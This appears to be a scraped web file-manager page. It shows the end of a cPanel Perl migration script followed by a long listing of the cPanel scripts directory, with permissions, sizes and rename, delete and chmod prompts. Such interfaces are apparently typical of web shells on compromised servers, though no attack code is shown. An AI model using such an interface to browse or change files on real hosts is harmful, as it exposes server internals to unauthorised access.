'HASH' ) { print "(ref=$ref)\n" . Dumper($what); } else { print Dumper($what); } } } return; } # Loads the UID > username mapping into a hash ref. We use this data for translating CCS style URL requests to the native format. sub load_uid_mapping { my ($path) = @_; logmsg( 5, "Loading UID mapping from $path" ); my %map; if ( open( my $fh, '<', $path ) ) { while (<$fh>) { my ( $uid, $user ) = split( /\s+/, $_ ); $map{$uid} = $user; } } else { logmsg( 5, "Could not load UID mapping from $path: $!" ); } return \%map; } # Same function as used in a few other scripts to drop privs if requested user is not root sub _drop_privs_if_needed { my ($user) = @_; if ( $> == 0 && $user ne 'root' ) { require Cpanel::AccessIds::ReducedPrivileges; return Cpanel::AccessIds::ReducedPrivileges->new($user); } return; } __END__ =head1 NAME scripts/migrate_ccs_to_cpdavd =head1 SYNOPSIS Usage: /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd <options> Examples: /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=0 --overwrite /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=6 --overwrite --user=hibdraco /usr/local/cpanel/scripts/migrate_ccs_to_cpdavd --verbosity=3 --dryrun This script migrates user data from the Calendaring and Contacts plugin to native CPDAVD caldav/carddav. This requires the CCS Postgres database server to be running. Available Options: --help: You are here. --verbosity=#: The default is --verbosity=1 . The higher the number, the more debugging output you get. --overwrite: Overwrite any existing files. The default is to not overwrite events. --dryrun: Do a dry run of the script. This will not write any changes to the filesystem. --user=$user: Only process migration for a single account. If this is a system user account, it will process all of the email accounts under it. If the user is an email address, it will only process events for that single user. Note that this option prevents saving homeless entries, UID mapping for other users, etc and should only be used for debugging or recovery. =cut
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-26 11:00:34
..
DIR
-
drwx--x--x
2025-10-26 11:27:15
cpan_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
php_sandbox
DIR
-
drwxr-xr-x
2024-03-04 05:44:29
MirrorSearch_pingtest
text/x-perl
2.38 KB
-rwxr-xr-x
2024-03-04 05:44:29
activesync-invite-reply
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
add_dns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
adddns
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
addpop
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
addsystemuser
text/x-perl
3.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
adduser
text/x-perl
92 B
-rwxr-xr-x
2024-03-04 05:44:29
agent360.sh
16.03 KB
-rwx------
2025-09-17 09:17:37
apachelimits
text/x-perl
4.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
archive_sync_zones
text/x-perl
3.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
auto-adjust-mysql-limits
text/x-perl
1.81 KB
-rwxr-xr-x
2024-03-04 05:44:29
autorepair
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_clean_metadata_for_missing_backups
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_create_metadata
text/x-perl
15.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
backups_list_user_files
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
balance_linked_node_quotas
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
biglogcheck
text/x-perl
1.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_bandwidthdb_root_cache_in_background
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_cpnat
text/x-perl
3.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_mail_sni
text/x-perl
3.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
build_maxemails_config
text/x-perl
1.14 KB
-rwxr-xr-x
2024-03-04 05:44:29
builddovecotconf
text/x-perl
6.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildeximconf
text/x-perl
7 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
buildpureftproot
text/x-perl
539 B
-rwxr-xr-x
2024-03-04 05:44:29
ccs-check
text/x-perl
4.91 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_cpanel_pkgs
text/x-perl
10.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_domain_tls_service_domains.pl
text/x-perl
6.68 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_immutable_files
text/x-perl
5.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mail_spamassassin_compiledregexps_body_0
text/x-perl
187 B
-rwxr-xr-x
2024-03-04 05:44:29
check_maxmem_against_domains_count
text/x-perl
3.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mount_procfs
text/x-perl
2.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_mysql
text/x-perl
5.56 KB
-rwxr-xr-x
2024-12-10 10:57:18
check_plugin_pkgs
text/x-perl
2.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_security_advice_changes
text/x-perl
8.28 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unmonitored_enabled_services
text/x-perl
4.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_unreliable_resolvers
text/x-perl
3.59 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_users_my_cnf
text/x-perl
6.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
check_valid_server_hostname
text/x-perl
7.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkalldomainsmxs
text/x-perl
2.4 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkbashshell
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkccompiler
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkexim.pl
text/x-perl
3.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
checklink
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
checkusers
text/x-perl
856 B
-rwxr-xr-x
2024-03-04 05:44:29
chkpaths
text/x-perl
141 B
-rwxr-xr-x
2024-03-04 05:44:29
chpass
text/x-perl
416 B
-rwxr-xr-x
2024-03-04 05:44:29
ckillall
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_dead_mailman_locks
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_up_temp_wheel_users
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
clean_user_php_sessions
text/x-perl
4.76 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns
text/x-perl
13.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleandns8
text/x-perl
417 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanmsglog
text/x-perl
735 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions
text/x-perl
932 B
-rwxr-xr-x
2024-03-04 05:44:29
cleanphpsessions.php
text/x-php
658 B
-rw-r--r--
2024-03-04 05:44:29
cleanquotas
text/x-perl
1.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleansessions
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupinterchange
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
cleanupmysqlprivs
text/x-shellscript
773 B
-rwxr-xr-x
2025-02-24 10:57:16
clear_cpaddon_ui_caches
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
clear_orphaned_virtfs_mounts
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
comparecdb
text/x-perl
1.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilers
text/x-perl
2.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
compilerscheck
text/x-perl
999 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
configure_rh_ipv6_firewall_for_cpanel
text/x-perl
520 B
-rwxr-xr-x
2024-03-04 05:44:29
convert2dovecot
text/x-perl
682 B
-rwxr-xr-x
2024-03-04 05:44:29
convert_accesshash_to_token
text/x-perl
4.07 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_and_migrate_from_legacy_backup
text/x-perl
1.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_maildir_to_mdbox
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_mdbox_to_maildir
text/x-perl
1.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_roundcube_mysql2sqlite
text/x-perl
26.12 KB
-rwxr-xr-x
2025-03-20 10:57:16
convert_to_dovecot_delivery
text/x-perl
4.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
convert_whmxfer_to_sqlite
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_root
text/x-perl
1.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
copy_user_mail_as_user
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpaddonsup
text/x-perl
3.25 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpan_config
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanel_initial_install
text/x-perl
67.16 KB
-rwxr-xr-x
2025-08-07 10:57:42
cpanelsync
text/x-perl
28.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanelsync_postprocessor
text/x-perl
1.62 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpanpingtest
text/x-perl
965 B
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup
text/x-perl
44.79 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpbackup_transport_file
text/x-perl
5.65 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpdig
text/x-perl
2.09 KB
-rwxr-xr-x
2024-06-24 01:40:23
cpfetch
text/x-perl
1.23 KB
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdblacklist
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
cphulkdwhitelist
text/x-perl
1.3 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpservice
text/x-perl
2.87 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_port_authority
text/x-perl
19.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
cpuser_service_manager
text/x-perl
10.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
createacct
27.78 MB
-rwx------
2025-10-16 10:57:28
custom_backup_destination.pl.sample
text/x-perl
5.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
custom_backup_destination.pl.skeleton
text/x-perl
2.84 KB
-rwxr-xr-x
2024-03-04 05:44:29
dcpumon-wrapper
text/x-perl
850 B
-rwxr-xr-x
2024-03-04 05:44:29
delpop
text/x-perl
6.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
detect_env_capabilities
text/x-perl
508 B
-rwxr-xr-x
2024-03-04 05:44:29
disable_prelink
text/x-perl
2.77 KB
-rwxr-xr-x
2024-03-04 05:44:29
disable_sqloptimizer
text/x-perl
1.49 KB
-rwxr-xr-x
2024-03-04 05:44:29
disablefileprotect
text/x-perl
2.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
distro_changed_hook
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnscluster
text/x-perl
4.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnsqueuecron
text/x-perl
1.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
dnssec-cluster-keys
text/x-perl
3.75 KB
-rwxr-xr-x
2024-03-04 05:44:29
dovecot_maintenance
text/x-perl
7.66 KB
-rwxr-xr-x
2025-04-15 10:57:19
dovecot_set_defaults.pl
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpcdb
text/x-perl
866 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpinodes
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpquotas
text/x-perl
616 B
-rwxr-xr-x
2024-03-04 05:44:29
dumpstor
text/x-perl
913 B
-rwxr-xr-x
2024-03-04 05:44:29
ea4_fresh_install
text/x-perl
2.64 KB
-rwxr-xr-x
2024-03-04 05:44:29
edit_cpanelsync_exclude_list
text/x-perl
2.58 KB
-rwxr-xr-x
2024-03-04 05:44:29
editquota
text/x-perl
3.43 KB
-rwxr-xr-x
2024-03-04 05:44:29
elevate-cpanel
386.27 KB
-rwx------
2025-10-26 11:00:34
email_archive_maintenance
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
email_hold_maintenance
text/x-perl
1.46 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_spf_dkim_globally
text/x-perl
8.83 KB
-rwxr-xr-x
2024-03-04 05:44:29
enable_sqloptimizer
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
enablefileprotect
text/x-perl
2.1 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_autoenabled_features
3.01 MB
-rwx------
2025-10-16 10:57:38
ensure_conf_dir_crt_key
text/x-perl
4.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_cpuser_file_ip
text/x-perl
2.55 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_crontab_permissions
text/x-perl
1.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_dovecot_memory_limits_meet_minimum
text/x-perl
3.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
ensure_hostname_resolves
text/x-perl
2.51 KB
-rwxr-xr-x
2025-03-26 10:57:15
ensure_includes
text/x-perl
601 B
-rwxr-xr-x
2024-03-04 05:44:29
ensure_vhost_includes
text/x-perl
13.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
exim_tidydb
text/x-perl
2.96 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximconfgen
text/x-perl
1.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
eximstats_spam_check
text/x-perl
867 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_certificates_from_sslstorage
text/x-perl
3.56 KB
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_pkgacct_sessions
text/x-perl
852 B
-rwxr-xr-x
2024-03-04 05:44:29
expunge_expired_transfer_sessions
text/x-perl
1.06 KB
-rwxr-xr-x
2024-03-04 05:44:29
fastmail
text/x-perl
5.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
featuremod
text/x-perl
1.92 KB
-rwxr-xr-x
2024-03-04 05:44:29
fetchfile
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
find_and_fix_rpm_issues
text/x-perl
6.99 KB
-rwxr-xr-x
2024-08-22 10:57:25
find_outdated_services
text/x-perl
6.06 KB
-rwxr-xr-x
2024-06-24 01:38:23
find_pids_with_inotify_watch_on_path
text/x-perl
3.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-cpanel-perl
text/x-perl
28.22 KB
-rwxr-xr-x
2025-10-16 10:57:36
fix-listen-on-localhost
text/x-perl
3.52 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix-web-vhost-configuration
text/x-perl
6.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_addon_permissions
text/x-perl
7.69 KB
-rwxr-xr-x
2025-06-09 10:57:21
fix_dns_zone_ttls
text/x-perl
1.34 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_innodb_tables
text/x-perl
4.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
fix_reseller_acls
text/x-perl
10.7 KB
-rwxr-xr-x
2025-06-09 10:57:31
fixetchosts
text/x-perl
4.32 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixheaders
text/x-perl
572 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailinglistperms
text/x-perl
1008 B
-rwxr-xr-x
2024-03-04 05:44:29
fixmailman
text/x-perl
2.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixnamedviews
text/x-perl
1.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixndc
text/x-perl
413 B
-rwxr-xr-x
2024-03-04 05:44:29
fixquotas
text/x-perl
18.39 KB
-rwxr-xr-x
2024-08-22 10:57:29
fixrelayd
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixrndc
text/x-perl
16.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixtar
text/x-perl
503 B
-rwxr-xr-x
2024-03-04 05:44:29
fixtlsversions
text/x-perl
4.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixvaliases
text/x-perl
2 KB
-rwxr-xr-x
2024-03-04 05:44:29
fixwebalizer
text/x-perl
966 B
-rwxr-xr-x
2024-03-04 05:44:29
forcelocaldomain
text/x-perl
895 B
-rwxr-xr-x
2024-03-04 05:44:29
ftpfetch
text/x-perl
2.2 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpquotacheck
text/x-perl
8.31 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpsfetch
text/x-perl
2.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
ftpupdate
text/x-perl
261 B
-rwxr-xr-x
2024-03-04 05:44:29
gather_update_log_stats
4.25 KB
-rwx------
2025-10-21 07:53:57
gather_update_logs_setupcrontab
5.45 KB
-rwx------
2025-10-21 07:53:57
gemwrapper
text/x-perl
1.74 KB
-rwxr-xr-x
2024-03-04 05:44:29
gencrt
text/x-perl
6.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_account_suspension_include
text/x-perl
5.7 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_credentials
text/x-perl
1.11 KB
-rwxr-xr-x
2024-03-04 05:44:29
generate_google_drive_oauth_uri
text/x-perl
984 B
-rwxr-xr-x
2024-03-04 05:44:29
generate_maildirsize
text/x-perl
13.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
gensysinfo
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
get_locale_from_legacy_name_info
text/x-perl
1.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
getremotecpmove
text/x-perl
12.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
grpck
text/x-perl
1.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
hackcheck
text/x-perl
3.02 KB
-rwxr-xr-x
2024-03-04 05:44:29
hook
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
httpspamdetect
text/x-perl
2.66 KB
-rwxr-xr-x
2024-03-04 05:44:29
hulk-unban-ip
3.97 MB
-rwx------
2025-10-16 10:57:31
import_exim_data
text/x-perl
8.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
increase_filesystem_limits
text/x-perl
891 B
-rwxr-xr-x
2024-03-04 05:44:29
initacls
text/x-perl
4.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
initfpsuexec
text/x-shellscript
444 B
-rwxr-xr-x
2024-03-04 05:44:29
initialize_360monitoring
2.76 KB
-rwx------
2025-07-25 08:58:50
initquotas
text/x-perl
19.47 KB
-rwxr-xr-x
2025-06-09 10:57:26
initsuexec
text/x-perl
4.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_cpanel_analytics
text/x-perl
1.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_dovecot_fts
text/x-perl
1.57 KB
-rwxr-xr-x
2024-03-04 05:44:29
install_plugin
text/x-perl
2.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
installpkg
text/x-perl
575 B
-rwxr-xr-x
2024-03-04 05:44:29
installpostgres
text/x-perl
6.46 KB
-rwxr-xr-x
2025-06-09 10:57:30
installsqlite3
text/x-perl
1.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipcheck
text/x-perl
3.93 KB
-rwxr-xr-x
2024-03-04 05:44:29
ipusage
text/x-perl
7.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
isdedicatedip
text/x-perl
602 B
-rwxr-xr-x
2024-03-04 05:44:29
jetbackup-check
text/x-perl
3.69 KB
-rwxr-xr-x
2024-03-04 05:44:29
killdns
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
killdns-dnsadmin
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killmysqluserprivs
text/x-perl
433 B
-rwxr-xr-x
2024-03-04 05:44:29
killmysqlwildcard
text/x-perl
1.15 KB
-rwxr-xr-x
2024-03-04 05:44:29
killpvhost
text/x-perl
853 B
-rwxr-xr-x
2024-03-04 05:44:29
killspamkeys
text/x-perl
937 B
-rwxr-xr-x
2024-03-04 05:44:29
link_3rdparty_binaries
text/x-perl
1.24 KB
-rwxr-xr-x
2024-03-04 05:44:29
linksubemailtomainacct
text/x-perl
3.17 KB
-rwxr-xr-x
2024-03-04 05:44:29
listcheck
text/x-perl
538 B
-rwxr-xr-x
2024-03-04 05:44:29
listsubdomains
text/x-perl
1.05 KB
-rwxr-xr-x
2024-03-04 05:44:29
litespeed-check
text/x-perl
3.86 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_export
text/x-perl
5.21 KB
-rwxr-xr-x
2025-04-15 10:57:21
locale_import
text/x-perl
4.35 KB
-rwxr-xr-x
2024-03-04 05:44:29
locale_info
text/x-perl
3.99 KB
-rwxr-xr-x
2024-03-04 05:44:29
logo.dat
text/plain
205 B
-rw-r--r--
2024-03-04 05:44:29
magicloader
text/x-perl
1.94 KB
-rwxr-xr-x
2024-03-04 05:44:29
maildir_converter
text/x-perl
6.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailperm
text/x-perl
16.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
mailscannerupdate
text/x-perl
2.42 KB
-rwxr-xr-x
2024-03-04 05:44:29
mainipcheck
text/x-perl
10 KB
-rwxr-xr-x
2024-03-04 05:44:29
maintenance
text/x-perl
46.22 KB
-rwxr-xr-x
2025-02-11 10:57:15
make_config
text/plain
407 B
-rw-r--r--
2024-03-04 05:44:29
make_hostname_unowned
text/x-perl
1.16 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_extra_marketing
12.41 KB
-rwx------
2025-08-26 09:44:38
manage_greylisting
text/x-perl
16.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
manage_mysql_profiles
text/x-perl
16.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_ccs_to_cpdavd
text/x-perl
47.06 KB
-rwxr-xr-x
2025-02-11 10:57:16
migrate_local_ini_to_php_ini
text/x-perl
7.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
migrate_whmtheme_file_to_userdata
text/x-perl
2.95 KB
-rwxr-xr-x
2024-03-04 05:44:29
mkwwwacctconf
text/x-perl
2.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
modify_accounts
text/x-perl
4.07 KB
-rwxr-xr-x
2025-04-15 10:57:26
modify_featurelist
9.2 KB
-rwx------
2025-08-26 09:44:38
modify_packages
text/x-perl
3.64 KB
-rwxr-xr-x
2025-04-15 10:57:21
modsec_vendor
text/x-perl
15.63 KB
-rwxr-xr-x
2024-03-04 05:44:29
mysqlconnectioncheck
text/x-perl
6.72 KB
-rwxr-xr-x
2024-08-22 10:57:40
mysqlpasswd
text/x-perl
4.14 KB
-rwxr-xr-x
2024-08-22 10:57:20
named.ca
text/plain
1.57 KB
-rw-r--r--
2024-03-04 05:44:29
named.rfc1912.zones
text/plain
774 B
-rw-r--r--
2024-03-04 05:44:29
notify_expiring_certificates
text/x-perl
9.37 KB
-rwxr-xr-x
2024-03-04 05:44:29
notify_expiring_certificates_on_linked_nodes
text/x-perl
1.33 KB
-rwxr-xr-x
2024-03-04 05:44:29
oopscheck
text/x-perl
1.12 KB
-rwxr-xr-x
2024-03-04 05:44:29
optimize_eximstats
text/x-perl
3.88 KB
-rwxr-xr-x
2024-03-04 05:44:29
patch_mail_spamassassin_compiledregexps_body_0
text/x-perl
2.39 KB
-rwxr-xr-x
2024-03-04 05:44:29
patchfdsetsize
text/x-perl
2.72 KB
-rwxr-xr-x
2024-03-04 05:44:29
pedquota
text/x-perl
2.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
perform_sqlite_auto_rebuild_db_maintenance
text/x-perl
1.98 KB
-rwxr-xr-x
2025-04-15 10:57:21
perlinstaller
text/x-perl
528 B
-rwxr-xr-x
2024-03-04 05:44:29
perlmods
text/x-perl
1.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
php_fpm_config
text/x-perl
9.73 KB
-rwxr-xr-x
2024-03-04 05:44:29
phpini_tidy
text/x-perl
687 B
-rwxr-xr-x
2024-03-04 05:44:29
pkgacct
text/x-perl
88.03 KB
-rwxr-xr-x
2024-11-19 10:57:15
post_snapshot
text/x-perl
2.09 KB
-rwxr-xr-x
2024-08-22 10:57:19
post_sync_cleanup
text/x-perl
6.09 KB
-rwxr-xr-x
2024-03-04 05:44:29
postupcp
text/x-shellscript
107 B
-rwxr-xr-x
2025-07-01 10:57:21
primary_virtual_host_migration
text/x-perl
2.44 KB
-rwxr-xr-x
2024-03-04 05:44:29
process_pending_cpanel_php_pear_registration
text/x-perl
2.73 KB
-rwxr-xr-x
2025-06-09 10:57:22
process_site_templates
text/x-perl
7.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
proxydomains
text/x-perl
9.64 KB
-rwxr-xr-x
2025-06-09 10:57:30
ptycheck
text/x-perl
724 B
-rwxr-xr-x
2024-03-04 05:44:29
purge_modsec_log
text/x-perl
1.53 KB
-rwxr-xr-x
2024-03-04 05:44:29
purge_old_config_caches
text/x-perl
2.08 KB
-rwxr-xr-x
2024-03-04 05:44:29
pwck
text/x-perl
708 B
-rwxr-xr-x
2024-03-04 05:44:29
quickdnslookup
text/x-perl
1.13 KB
-rwxr-xr-x
2024-03-04 05:44:29
quickwhoisips
text/x-perl
2.29 KB
-rwxr-xr-x
2024-03-04 05:44:29
quota_auto_fix
text/x-perl
1.41 KB
-rwxr-xr-x
2024-03-04 05:44:29
quotacheck
text/x-perl
22.36 KB
-rwxr-xr-x
2024-03-04 05:44:29
rawchpass
text/x-perl
460 B
-rwxr-xr-x
2024-03-04 05:44:29
rdate
text/x-perl
4.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
realadduser
text/x-perl
5.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
realchpass
text/x-perl
3.26 KB
-rwxr-xr-x
2024-03-04 05:44:29
realperlinstaller
text/x-perl
5.67 KB
-rwxr-xr-x
2024-03-04 05:44:29
realrawchpass
text/x-perl
425 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_addons_packages_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_available_rpm_addons_cache
text/x-perl
1.27 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_bandwidthdb_root_cache
text/x-perl
1.45 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_dbmap
text/x-perl
5.8 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_provider_openid_connect_links_db
text/x-perl
1.01 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuild_whm_chrome
text/x-perl
2.22 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuilddnsconfig
text/x-perl
25.5 KB
-rwxr-xr-x
2025-06-09 10:57:25
rebuildhttpdconf
text/x-perl
2.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildinstalledssldb
text/x-perl
2.85 KB
-rwxr-xr-x
2024-03-04 05:44:29
rebuildippool
text/x-perl
509 B
-rwxr-xr-x
2024-03-04 05:44:29
rebuilduserssldb
text/x-perl
948 B
-rwxr-xr-x
2024-03-04 05:44:29
refresh-dkim-validity-cache
text/x-perl
5.97 KB
-rwxr-xr-x
2024-03-04 05:44:29
regenerate_tokens
text/x-perl
2.18 KB
-rwxr-xr-x
2024-03-04 05:44:29
remote_log_transfer
text/x-perl
11.6 KB
-rwxr-xr-x
2024-03-04 05:44:29
remove_dovecot_index_files
text/x-perl
5.89 KB
-rwxr-xr-x
2024-03-04 05:44:29
removeacct
26.37 MB
-rwx------
2025-10-16 10:57:40
rescan_user_dovecot_fts
text/x-perl
2.98 KB
-rwxr-xr-x
2024-03-04 05:44:29
reset_mail_quotas_to_sane_values
text/x-perl
6.82 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetmailmanurls
text/x-perl
2.03 KB
-rwxr-xr-x
2024-03-04 05:44:29
resetquotas
text/x-perl
4.61 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv
text/x-perl
3.19 KB
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache
text/x-perl
422 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_apache_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_base
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_bind
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_chkservd
text/x-perl
427 B
-rwxr-xr-x
2024-03-04 05:44:29
restartsrv_clamd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanel_php_fpm
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpanellogd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpdavd
application/x-executable
10.36 MB
-rwxr-xr-x
2025-10-16 10:57:22
restartsrv_cpgreylistd
